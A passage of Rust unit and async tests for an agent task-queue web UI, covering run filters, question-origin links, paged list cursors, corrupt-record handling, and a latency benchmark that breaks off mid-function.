23249 "active" => !done,
23250 "flight" => !done && !waiting && !dead,
23251 "stale" => !done && !waiting && dead,
23252 "waiting" => waiting,
23253 "done" => done,
23254 "all" => true,
23255 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23256 }
23257 }
23258
23259 let compatible = |section: &str, filter_key: &str| {
23260 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23261 run_section(*waiting, status, *dead, *parked) == section
23262 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23263 })
23264 };
23265
23266 let expected = [
23271 ("waiting", [true, false, false, true, true, true]),
23272 ("stale", [true, false, true, false, false, true]),
23273 ("flight", [true, true, false, false, false, true]),
23274 ("landed", [false, false, false, false, true, true]),
23275 ("ended", [false, false, false, false, true, true]),
23276 ];
23277 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23278
23279 for (section, wants) in expected {
23280 for (filter_key, want) in filter_keys.iter().zip(wants) {
23281 assert_eq!(
23282 compatible(section, filter_key),
23283 want,
23284 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23285 );
23286 }
23287 }
23288
23289 assert!(
23292 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23293 );
23294 assert!(APP_JS.contains(
23295 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23296 ));
23297 assert!(APP_JS.contains(
23298 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23299 ));
23300 }
23301
23302 #[tokio::test]
23303 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23304 let dir = tempfile::tempdir().expect("tempdir");
23308 let explicit = dir.path().join("not-a-checkout");
23309 std::fs::create_dir_all(&explicit).expect("create dir");
23310 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23311
23312 let missing = dir.path().join("does-not-exist-at-all");
23313 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23314 }
23315
23316 #[test]
23317 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23318 assert!(APP_JS.contains("function statsDonutArcs"));
23319 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23320 assert!(APP_JS.contains("function statusInBucket"));
23322 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23323 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23324 let buckets = [
23325 "merged",
23326 "ready",
23327 "in_progress",
23328 "blocked",
23329 "failed",
23330 "verified_noop",
23331 "superseded",
23332 "stalled",
23333 ];
23334 for key in buckets {
23335 let var = format!("--verdict-{key}:");
23336 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23338 assert!(
23339 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23340 "{key}"
23341 );
23342 }
23343 }
23344
23345 #[tokio::test]
23346 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23347 let dir = tempfile::tempdir().expect("tempdir");
23348 let queue = Queue::at(dir.path().join("queue"));
23349 let talks = Talks::at(dir.path().join("talks"));
23350 std::fs::create_dir_all(queue.root()).unwrap();
23351 std::fs::create_dir_all(talks.root()).unwrap();
23352
23353 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23355 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23356
23357 let mut task = Task::new(
23359 "title".into(),
23360 "inst".into(),
23361 PathBuf::from("/repo"),
23362 Source::Human,
23363 );
23364 task.id = "20261019-123456-abcd".into();
23365 std::fs::write(
23367 queue.path_of(&task.id),
23368 serde_json::to_string(&task).unwrap(),
23369 )
23370 .unwrap();
23371
23372 let talk_id = "20261019-234567-cdef";
23373 seed_talk_at(&talks, talk_id, "open");
23374
23375 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23377 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23378
23379 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23381 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23382 }
23383
23384 #[tokio::test]
23385 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23386 let home = tempfile::tempdir().unwrap();
23387 let ui = delta_test_ui(home.path());
23388 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23390 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23391 assert!(
23392 questions_list(State(ui.clone()))
23393 .await
23394 .unwrap()
23395 .0
23396 .is_empty()
23397 );
23398 assert!(
23399 question_origins(State(ui.clone()))
23400 .await
23401 .unwrap()
23402 .0
23403 .is_empty()
23404 );
23405 let mut question = Question::new(
23406 "run-history".into(),
23407 "review".into(),
23408 "seat".into(),
23409 "Useful question".into(),
23410 "Useful detail".into(),
23411 vec![],
23412 );
23413 ui.questions.put(&mut question).unwrap();
23414 let core = questions_core(State(ui.clone())).await.unwrap().0;
23415 assert_eq!(core.len(), 1);
23416 assert_eq!(core[0].question.summary, "Useful question");
23417 assert!(!core[0].can_consult_chat);
23418 assert!(core[0].origin_chat.is_none());
23419 assert_eq!(core[0].record_revision, question_record_revision(&question));
23420 assert!(question_origins(State(ui.clone())).await.is_err());
23421 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23422 }
23423
23424 #[tokio::test]
23425 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23426 let home = tempfile::tempdir().unwrap();
23427 let ui = delta_test_ui(home.path());
23428 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23429 let mut parent = Task::new(
23430 "parent".into(),
23431 "body".into(),
23432 PathBuf::from("/repo"),
23433 Source::Agent {
23434 run: chat.clone(),
23435 node: crate::queue::CHAT_NODE.into(),
23436 },
23437 );
23438 parent.id = "parent-task".into();
23439 parent.runs = vec!["parent-run".into()];
23440 ui.queue.put(&mut parent).unwrap();
23441 let mut previous = parent;
23442 for generation in 1..=2 {
23443 let mut child = Task::new(
23444 "child".into(),
23445 "body".into(),
23446 PathBuf::from("/repo"),
23447 Source::Human,
23448 );
23449 child.id = format!("child-task-{generation}");
23450 child.runs = vec![format!("child-run-{generation}")];
23451 child.followup = Some(crate::queue::FollowUp {
23452 origin_task: Some(previous.id.clone()),
23453 run: previous.runs[0].clone(),
23454 pr: String::new(),
23455 findings: vec![],
23456 generation,
23457 });
23458 ui.queue.put(&mut child).unwrap();
23459 previous = child;
23460 }
23461 let mut collision = Task::new(
23464 "collision".into(),
23465 String::new(),
23466 PathBuf::from("/repo"),
23467 Source::Human,
23468 );
23469 collision.id = "collision-task".into();
23470 collision.runs = vec![previous.id.clone()];
23471 ui.queue.put(&mut collision).unwrap();
23472 let mut questions = Vec::new();
23473 for (node, reference, expected, eligible) in [
23474 (crate::triage::NODE, previous.id.as_str(), true, false),
23475 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23476 ("review", previous.runs[0].as_str(), true, true),
23477 (
23478 crate::bump::NOTICE_NODE,
23479 previous.runs[0].as_str(),
23480 true,
23481 false,
23482 ),
23483 ("review", previous.id.as_str(), false, false),
23485 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23486 ("review", "unrelated", false, false),
23487 ] {
23488 let mut q = Question::new(
23489 reference.into(),
23490 node.into(),
23491 "seat".into(),
23492 "Question".into(),
23493 String::new(),
23494 vec![],
23495 );
23496 ui.questions.put(&mut q).unwrap();
23497 questions.push((q, expected, eligible));
23498 }
23499 for (node, reference, associated, eligible) in [
23500 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23501 (
23502 crate::reconcile::NODE,
23503 previous.runs[0].as_str(),
23504 false,
23505 true,
23506 ),
23507 ("implement", previous.id.as_str(), false, false),
23508 ] {
23509 let mut q = Question::new(
23510 reference.into(),
23511 node.into(),
23512 crate::reconcile::SEAT.into(),
23513 "Reconcile".into(),
23514 String::new(),
23515 vec![],
23516 );
23517 ui.questions.put(&mut q).unwrap();
23518 questions.push((q, associated, eligible));
23519 }
23520 let mut release = Question::new(
23521 "release-record".into(),
23522 crate::bump::NOTICE_NODE.into(),
23523 "release-watch".into(),
23524 "Release".into(),
23525 String::new(),
23526 vec![],
23527 );
23528 ui.questions.put(&mut release).unwrap();
23529 let watch = crate::release_watch::WatchState {
23530 question: Some(release.id.clone()),
23531 run: Some(previous.runs[0].clone()),
23532 held_task: Some(previous.id.clone()),
23533 ..Default::default()
23534 };
23535 let watch_dir = home.path().join("release-watch");
23536 std::fs::create_dir_all(&watch_dir).unwrap();
23537 let watch_path = watch_dir.join("watch.json");
23538 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23539 for batch in [
23541 Vec::new(),
23542 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23543 ] {
23544 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23545 assert!(watches.is_empty());
23546 }
23547 questions.push((release.clone(), true, false));
23548
23549 let views = questions_list(State(ui.clone())).await.unwrap().0;
23550 let origins = question_origins(State(ui.clone())).await.unwrap().0;
23551 for (q, associated, eligible) in &questions {
23552 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23553 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23554 let expected = associated.then_some(chat.as_str());
23555 assert_eq!(
23556 view.origin_chat.as_deref(),
23557 expected,
23558 "{} {}",
23559 q.node,
23560 q.run
23561 );
23562 assert_eq!(origin.origin_chat.as_deref(), expected);
23563 assert_eq!(view.origin_chat_closed, *associated);
23564 assert_eq!(origin.origin_chat_closed, *associated);
23565 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23566 assert_eq!(origin.can_consult_chat, *eligible);
23567 }
23568 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23570 let link = crate::release_watch::WatchState {
23571 run,
23572 held_task,
23573 ..watch.clone()
23574 };
23575 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23576 let (tasks, talks, watches) =
23577 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23578 assert_eq!(
23579 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23580 .unwrap()
23581 .id,
23582 chat,
23583 );
23584 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23585 }
23586 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23587 let duplicate_path = watch_dir.join("duplicate.json");
23589 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23590 let (tasks, talks, watches) =
23591 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23592 assert!(
23593 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23594 .is_none()
23595 );
23596 std::fs::remove_file(duplicate_path).unwrap();
23597 let mut unrelated = Task::new(
23599 "other".into(),
23600 String::new(),
23601 PathBuf::from("/repo"),
23602 Source::Human,
23603 );
23604 unrelated.id = "unrelated-task".into();
23605 ui.queue.put(&mut unrelated).unwrap();
23606 let mut conflicting = watch.clone();
23607 conflicting.held_task = Some(unrelated.id);
23608 std::fs::write(
23609 watch_dir.join("conflict.json"),
23610 serde_json::to_vec(&conflicting).unwrap(),
23611 )
23612 .unwrap();
23613 let (tasks, talks, watches) =
23614 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23615 assert!(
23616 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23617 .is_none()
23618 );
23619 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23620 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23621 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23622 assert!(origin.origin_chat.is_none());
23623 assert!(!origin.origin_chat_closed);
23624 }
23625 }
23626
23627 #[test]
23628 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23629 let home = tempfile::tempdir().unwrap();
23630 let ui = delta_test_ui(home.path());
23631 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23632 for i in 0..1000 {
23633 let mut task = Task::new(
23634 "unrelated".into(),
23635 "instruction ".repeat(256),
23636 PathBuf::from("/repo"),
23637 Source::Human,
23638 );
23639 task.id = format!("history-{i:04}");
23640 ui.queue.put(&mut task).unwrap();
23641 let id = seed_talk_at(&ui.talks, &task.id, "open");
23642 let mut talk = ui.talks.get(&id).unwrap();
23643 talk.pending = "history ".repeat(256);
23644 ui.talks.put(&mut talk).unwrap();
23645 }
23646 let mut parent = Task::new(
23647 "parent".into(),
23648 "body".into(),
23649 PathBuf::from("/repo"),
23650 Source::Agent {
23651 run: chat_id.clone(),
23652 node: crate::queue::CHAT_NODE.into(),
23653 },
23654 );
23655 parent.id = "task-parent".into();
23656 parent.runs = vec!["run-parent".into()];
23657 ui.queue.put(&mut parent).unwrap();
23658 let mut child = Task::new(
23659 "child".into(),
23660 "body".into(),
23661 PathBuf::from("/repo"),
23662 Source::Human,
23663 );
23664 child.id = "task-child".into();
23665 child.runs = vec!["run-child".into()];
23666 child.followup = Some(crate::queue::FollowUp {
23667 run: "run-parent".into(),
23668 origin_task: Some(parent.id.clone()),
23669 pr: "https://example.invalid/pr/1".into(),
23670 findings: vec![],
23671 generation: 1,
23672 });
23673 ui.queue.put(&mut child).unwrap();
23674 let mut question = Question::new(
23675 child.id.clone(),
23676 crate::conduct::NODE.into(),
23677 "seat".into(),
23678 "Continue?".into(),
23679 String::new(),
23680 vec![],
23681 );
23682 let (tasks, talks, _watches) =
23683 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23684 assert_eq!(tasks.len(), 2);
23685 assert_eq!(talks.len(), 1);
23686 assert_eq!(
23687 ui.monitor.queue_index.lock().unwrap().reparsed,
23688 0,
23689 "exact ancestry bypasses the index"
23690 );
23691 assert_eq!(
23692 crate::consult::origin_talk(&tasks, &talks, &question)
23693 .unwrap()
23694 .id,
23695 chat_id
23696 );
23697 question.run = "run-child".into();
23698 question.node = "review".into();
23699 for origin_task in [Some(parent.id.clone()), None] {
23700 child.followup.as_mut().unwrap().origin_task = origin_task;
23701 ui.queue.put(&mut child).unwrap();
23702 let (tasks, talks, _watches) =
23703 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23704 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23705 let expected =
23706 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23707 .unwrap();
23708 assert_eq!(actual.id, expected.id);
23709 assert!(!actual.status.open());
23710 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23711 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23712 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23715 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23716 }
23717 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23718 ui.queue.put(&mut child).unwrap();
23719 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23720 let (tasks, talks, _watches) =
23721 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23722 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23723 child.origin_chat = Some(chat_id.clone());
23724 ui.queue.put(&mut child).unwrap();
23725 let (tasks, talks, _watches) =
23726 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23727 assert_eq!(
23728 crate::consult::origin_talk(&tasks, &talks, &question)
23729 .unwrap()
23730 .id,
23731 chat_id
23732 );
23733 let revision = question_record_revision(&question);
23734 question.abandon("settled elsewhere");
23735 assert_ne!(revision, question_record_revision(&question));
23736 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23737 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23738 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23739 let (tasks, talks, _watches) =
23740 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23741 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23742 }
23743
23744 #[test]
23745 fn list_cursors_freeze_membership_and_expire_explicitly() {
23746 let home = tempfile::tempdir().unwrap();
23747 let ui = delta_test_ui(home.path());
23748 std::fs::create_dir_all(ui.queue.root()).unwrap();
23749 for i in 0..40 {
23750 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23751 }
23752 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23753 assert_eq!(first.len(), STORE_PAGE_SIZE);
23754 let cursor = cursor.unwrap();
23755 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23756 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23757 let (second, _) = page_ids(
23758 &ui,
23759 false,
23760 PageQuery {
23761 before: Some(cursor.clone()),
23762 },
23763 )
23764 .unwrap();
23765 assert_eq!(second[0], "record-0023");
23766 assert!(second.iter().all(|id| !first.contains(id)));
23767 assert!(
23768 page_ids(
23769 &ui,
23770 true,
23771 PageQuery {
23772 before: Some(cursor.clone())
23773 }
23774 )
23775 .is_err()
23776 );
23777 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23778 assert_eq!(fresh[0], "record-9999");
23779 ui.monitor.list_walks.lock().unwrap().clear();
23780 assert!(
23781 page_ids(
23782 &ui,
23783 false,
23784 PageQuery {
23785 before: Some(cursor)
23786 }
23787 )
23788 .is_err()
23789 );
23790 }
23791
23792 #[tokio::test]
23793 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23794 let home = tempfile::tempdir().unwrap();
23795 let ui = delta_test_ui(home.path());
23796 let mut task = Task::new(
23797 "task".into(),
23798 "body".into(),
23799 PathBuf::from("/repo"),
23800 Source::Human,
23801 );
23802 ui.queue.put(&mut task).unwrap();
23803 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23804 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23805 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23806 let expected = parsed + usize::from(!cfg!(unix));
23807 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23808 task.status = crate::queue::TaskStatus::Held;
23809 ui.queue.put(&mut task).unwrap();
23810 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23811 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23812 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23813 ui.queue.put(&mut task).unwrap();
23814 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23815 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23816 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23817 }
23818
23819 #[tokio::test]
23820 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23821 let home = tempfile::tempdir().unwrap();
23822 let ui = delta_test_ui(home.path());
23823 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23824 let before = health(State(ui.clone())).await.unwrap().0;
23825 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23826 let after = health(State(ui)).await.unwrap().0;
23827 assert_ne!(before.notifications_rev, after.notifications_rev);
23828 assert_eq!(after.notifications_unread, 1);
23829 }
23830
23831 #[tokio::test]
23832 async fn list_pages_bound_history_and_keep_dependency_evidence() {
23833 let home = tempfile::tempdir().unwrap();
23834 let ui = delta_test_ui(home.path());
23835 let queue = &ui.queue;
23836 let talks = &ui.talks;
23837 for i in 0..1000 {
23838 let id = format!("20261019-{i:06}-page");
23839 let mut task = Task::new(
23840 "task".into(),
23841 "instruction".repeat(100),
23842 PathBuf::from("/repo/magi"),
23843 Source::Human,
23844 );
23845 task.id = id.clone();
23846 if i == 0 {
23847 task.status = crate::queue::TaskStatus::Held;
23848 } else if i == 999 {
23849 task.status = crate::queue::TaskStatus::Blocked;
23850 task.blocked_by = vec!["20261019-000000-page".into()];
23851 }
23852 queue.put(&mut task).unwrap();
23853 seed_talk_at(talks, &id, "open");
23854 }
23855 let page = serde_json::to_value(
23856 queue_page(State(ui.clone()), Query(PageQuery::default()))
23857 .await
23858 .unwrap()
23859 .0,
23860 )
23861 .unwrap();
23862 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23863 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23864 assert!(
23865 !page["rows"][0]["stuck_roots"]
23866 .as_array()
23867 .unwrap()
23868 .is_empty()
23869 );
23870 let cursor = page["next"].as_str().unwrap();
23871 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23872 .as_str()
23873 .unwrap();
23874 std::fs::remove_file(queue.path_of(last_id)).unwrap();
23876 let next = serde_json::to_value(
23877 queue_page(
23878 State(ui.clone()),
23879 Query(PageQuery {
23880 before: Some(cursor.into()),
23881 }),
23882 )
23883 .await
23884 .unwrap()
23885 .0,
23886 )
23887 .unwrap();
23888 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23889 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23890 let chats = serde_json::to_value(
23891 talks_page(State(ui.clone()), Query(PageQuery::default()))
23892 .await
23893 .unwrap()
23894 .0,
23895 )
23896 .unwrap();
23897 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23898 assert!(chats["rows"][0].get("pending").is_none());
23899 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23900 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23901 assert_eq!(counts["held"], 1);
23902 assert_eq!(counts["blocked"], 1);
23903 assert_eq!(counts["queued"], 997);
23904 }
23905
23906 #[test]
23907 fn queue_index_observes_external_replacement_deletion_and_corruption() {
23908 let dir = tempfile::tempdir().unwrap();
23909 let ui = delta_test_ui(dir.path());
23910 let mut task = Task::new(
23911 "task".into(),
23912 "body".into(),
23913 PathBuf::from("/repo"),
23914 Source::Human,
23915 );
23916 task.runs = vec!["run-a".into()];
23917 ui.queue.put(&mut task).unwrap();
23918 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23919 task.runs = vec!["run-b".into()];
23920 let path = ui.queue.path_of(&task.id);
23921 let modified = path.metadata().unwrap().modified().unwrap();
23922 let replacement = path.with_extension("replacement");
23923 let bytes = serde_json::to_vec_pretty(&task).unwrap();
23924 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23925 std::fs::write(&replacement, &bytes).unwrap();
23926 std::fs::File::options()
23927 .write(true)
23928 .open(&replacement)
23929 .unwrap()
23930 .set_times(std::fs::FileTimes::new().set_modified(modified))
23931 .unwrap();
23932 std::fs::rename(&replacement, &path).unwrap();
23933 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23934 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23935 std::fs::write(&path, "broken").unwrap();
23936 assert!(ui.find_task_for_run("run-b").is_err());
23937 std::fs::write(&path, bytes).unwrap();
23938 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23939 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23940 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
23941 }
23942
23943 #[tokio::test]
23944 async fn conversation_core_is_independent_of_unreadable_related_history() {
23945 let home = tempfile::tempdir().unwrap();
23946 let ui = delta_test_ui(home.path());
23947 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23948 std::fs::create_dir_all(ui.queue.root()).unwrap();
23949 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
23950 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
23951 .await
23952 .unwrap();
23953 assert_eq!(core.talk.id, id);
23954 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
23955 }
23956
23957 #[tokio::test]
23958 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
23959 let home = tempfile::tempdir().unwrap();
23960 let ui = delta_test_ui(home.path());
23961 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23962 let mut run = RunState::new(
23963 PathBuf::from("/repo"),
23964 "main".into(),
23965 "01234567".into(),
23966 "Useful run".into(),
23967 Config::default(),
23968 );
23969 run.save_under(home.path()).unwrap();
23970 let mut task = Task::new(
23971 "Related".into(),
23972 "body".into(),
23973 PathBuf::from("/repo"),
23974 Source::Agent {
23975 run: talk_id.clone(),
23976 node: "chat".into(),
23977 },
23978 );
23979 task.runs = vec![run.id.clone()];
23980 ui.queue.put(&mut task).unwrap();
23981 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
23982 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
23983 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
23984 assert!(
23985 run_detail(State(ui.clone()), Path(run.id.clone()))
23986 .await
23987 .is_ok()
23988 );
23989 assert!(
23990 talk_sections(State(ui.clone()), Path(talk_id.clone()))
23991 .await
23992 .is_ok()
23993 );
23994 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23996 assert!(ui.find_task_for_run(&run.id).is_err());
23997 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
23998 ui.queue.put(&mut task).unwrap();
23999 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24000 }
24001
24002 #[tokio::test]
24003 async fn conversation_sections_omit_large_task_instructions() {
24004 let home = tempfile::tempdir().unwrap();
24005 let ui = delta_test_ui(home.path());
24006 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24007 let mut task = Task::new(
24008 "filed task".into(),
24009 "large instruction ".repeat(65536),
24010 PathBuf::from("/repo"),
24011 Source::Agent {
24012 run: id.clone(),
24013 node: "chat".into(),
24014 },
24015 );
24016 ui.queue.put(&mut task).unwrap();
24017 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24018 assert_eq!(sections["tasks"][0]["id"], task.id);
24019 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24020 assert!(sections["tasks"][0].get("instruction").is_none());
24021 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24022 }
24023
24024 #[test]
24025 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24026 let home = tempfile::tempdir().unwrap();
24027 let talks = Talks::at(home.path().join("talks"));
24028 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24029 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24030 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24031 assert!(resolve_talk(&talks, "../outside").is_err());
24032 assert!(resolve_talk(&talks, "abcd").is_err());
24033 assert_eq!(
24034 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24035 "20261019-000001-abcd"
24036 );
24037 }
24038
24039 include!(concat!(
24040 env!("CARGO_MANIFEST_DIR"),
24041 "/tests/web_latency/baseline.rs"
24042 ));
24043
24044 include!(concat!(
24045 env!("CARGO_MANIFEST_DIR"),
24046 "/tests/web_latency/lists.rs"
24047 ));
24048
24049 #[tokio::test]
24050 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24051 async fn web_history_latency_measurement() {
24052 use std::time::Instant;
24053 let home = tempfile::tempdir().unwrap();
24054 let ui = delta_test_ui(home.path());
24055 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24056 let mut template = ui.talks.get(&id).unwrap();
24057 template.turns = serde_json::from_value(serde_json::json!([{
24058 "who": "operator", "body": "Show the accumulated work and its current status.",
24059 "at": Timestamp::now().to_string(),
24060 }]))
24061 .unwrap();
24062 std::fs::write(
24063 ui.talks.path_of(&id),
24064 serde_json::to_vec(&template).unwrap(),
24065 )
24066 .unwrap();
24067 let count = std::env::var("MAGI_BENCH_RECORDS")
24068 .ok()
24069 .and_then(|s| s.parse::<usize>().ok())
24070 .unwrap_or(1000);
24071 for i in 0..count {
24072 template.id = format!("20261019-{i:06}-history");
24073 template.pending = "history ".repeat(2048);
24074 std::fs::write(
24075 ui.talks.path_of(&template.id),
24076 serde_json::to_vec(&template).unwrap(),
24077 )
24078 .unwrap();
24079 let mut task = Task::new(
24080 "old task".into(),
24081 "instruction ".repeat(2048),
24082 PathBuf::from("/repo"),
24083 Source::Human,
24084 );
24085 task.id = format!("20261019-{i:06}-task");
24086 ui.queue.put(&mut task).unwrap();
24087 }
24088 for baseline in [true, false] {
24089 for clients in [1, 4] {
24090 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24091 let mut samples = Vec::new();
24092 for _ in 0..12 {
24093 let mut jobs = Vec::new();
24094 for _ in 0..clients {
24095 let ui = ui.clone();
24096 let id = id.clone();
24097 jobs.push(tokio::spawn(async move {
24098 let start = Instant::now();
24099 if baseline {
24100 let response =
24101 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24102 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24103 return (
24104 elapsed,
24105 elapsed,
24106 serde_json::to_vec(&response).unwrap().len(),
24107 );
24108 }
24109 let core = talk_core(State(ui.clone()), Path(id.clone()));
24110 let secondary = talk_sections(State(ui), Path(id));
24111 let (first, total) = tokio::join!(
24112 async {
24113 let value = core.await.unwrap().0;
24114 (
24115 start.elapsed().as_secs_f64() * 1000.0,
24116 serde_json::to_vec(&value).unwrap().len(),
24117 )
24118 },
24119 async {
24120 let value = secondary.await.unwrap().0;
24121 (
24122 start.elapsed().as_secs_f64() * 1000.0,
24123 serde_json::to_vec(&value).unwrap().len(),
24124 )
24125 }
24126 );
24127 (first.0, first.0.max(total.0), first.1 + total.1)
24128 }));
24129 }
24130 for job in jobs {
24131 samples.push(job.await.unwrap());
24132 }
24133 }
24134 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24135 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
